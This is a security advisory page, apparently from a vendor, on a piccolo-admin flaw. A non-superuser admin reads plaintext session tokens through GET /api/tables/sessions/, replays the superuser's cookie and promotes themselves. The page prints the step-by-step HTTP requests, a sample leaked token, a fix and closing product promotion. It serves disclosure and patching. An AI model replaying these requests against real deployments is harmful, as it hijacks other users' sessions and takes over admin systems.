CVE-2026-55485 is a high-severity (CVSS 8.8) Information Exposure vulnerability in piccolo-admin. O3 Security confirms whether CVE-2026-55485 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.
Real-World Exposure
piccolo-adminReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
piccolo_admin uses a helper called superuser_validators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET.
The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.
The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to create_admin([...]) so superusers have a UI to monitor and revoke sessions.
Affected component
- File:
piccolo_admin/endpoints.py - Function:
superuser_validators(around line 419)
def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):
user: BaseUser = request.user.user
if not user.superuser:
if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]:
raise HTTPException(
detail="Only superusers can perform these actions.",
status_code=405,
)
The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccolo_api/session_auth/tables.py is a Varchar without secret=True, so the default exclude_secrets=True in PiccoloCRUD does not strip it.
Preconditions
- Network reachability to the admin.
- Valid credentials for a non-superuser admin (
admin=True, superuser=False— the default role created byBaseUser.create_user(admin=True)). - The deployment includes the
Sessionstable (and typically theUsertable) increate_admin([...])— the documented pattern for "active sessions" management UIs.
Steps to reproduce
-
Log in as the non-superuser admin (
<img width="3024" height="1430" alt="01-john-piccolo_user-list" src="https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9" />john / john123). Open the Piccolo User table and confirm john'sSUPERUSERcolumn is ✗. (See Screenshot 1.) -
Attempt the target write directly. Send the following request:
PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=<john's session>; csrftoken=<token> X-CSRFToken: <token> {"superuser": true}The server returns:
HTTP/1.1 405 {"detail":"Only superusers can perform these actions."}The same response is shown both in the dashboard banner (Screenshot 2) and in Burp Repeater (Screenshot 3). This establishes the privilege boundary that the bug will break.
<img width="3024" height="2158" alt="02-john-save-blocked-405" src="https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0" />
-
Leak the credential. As the same john user, request:
GET /api/tables/sessions/ HTTP/1.1 Host: target:8001 Cookie: id=<john's session>; csrftoken=<token>Response:
200 OKcontaining every active session in plaintext, e.g.{"rows":[ {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...}, {"token":"...","user_id":2, ...}, ... ]}Copy the
<img width="1512" height="850" alt="04-john-sees-all-session-tokens" src="https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529" />tokenvalue of any row whoseuser_idmatches the superuser. That string IS the live session cookie of that user. (Screenshot 4.) -
Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the
Cookie: id=value to the stolen token:PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=<token> X-CSRFToken: <token> {"superuser": true}Response:
<img width="1213" height="713" alt="05-john-self-promote" src="https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e" />200 OK, body shows"superuser": truefor john. (Screenshot 5.) -
Verify persistence. Log in fresh as
john / john123(no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.
Impact
Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:
- read/write/delete any row in any table the admin exposes;
- revoke any other session, locking out other admins;
- change any user's password;
- export data (including via the bulk CSV download forms);
- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.
Persistence is automatic — once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.
Suggested fix
Primary (single-line): make superuser_validators reject all requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:
def superuser_validators(piccolo_crud, request):
if not request.user.user.superuser:
raise HTTPException(
status_code=403,
detail="Only superusers can access this resource.",
)
Defence in depth: in piccolo_api/session_auth/tables.py, mark SessionsBase.token with secret=True. The existing exclude_secrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.
Severity
CVSS 3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Reasoning:
- AV:N — accessible over the network.
- AC:L — single GET; no race or timing dependency.
- PR:L — requires non-superuser admin credentials (the default admin role).
- UI:N — no victim interaction needed.
- S:U — scope kept Unchanged to be conservative; some auditors may prefer
S:C(which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate. - C:H / I:H / A:H — full read, full write, full availability impact on the admin's data and on other users' sessions.
Weaknesses
- CWE-269 Improper Privilege Management (primary)
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-863 Incorrect Authorization
Notes for the maintainer
- The vulnerability is reachable on any version where
superuser_validatorsuses a method deny-list andSessionsBase.tokenis notsecret=True. I tested againstpiccolo_admin 1.13.0+piccolo_api 1.9.0. - The shipped
admin_demodoes not expose theSessionstable, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimalcreate_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)configuration, which mirrors the documented "Sessions admin view" pattern. - I'm happy to coordinate disclosure timing and validate any candidate patch.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | piccolo-admin | all versions | 1.14.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for piccolo-admin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update piccolo-admin to 1.14.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55485 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-55485 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-55485. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55485 in your dependencies?
O3 detects CVE-2026-55485 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.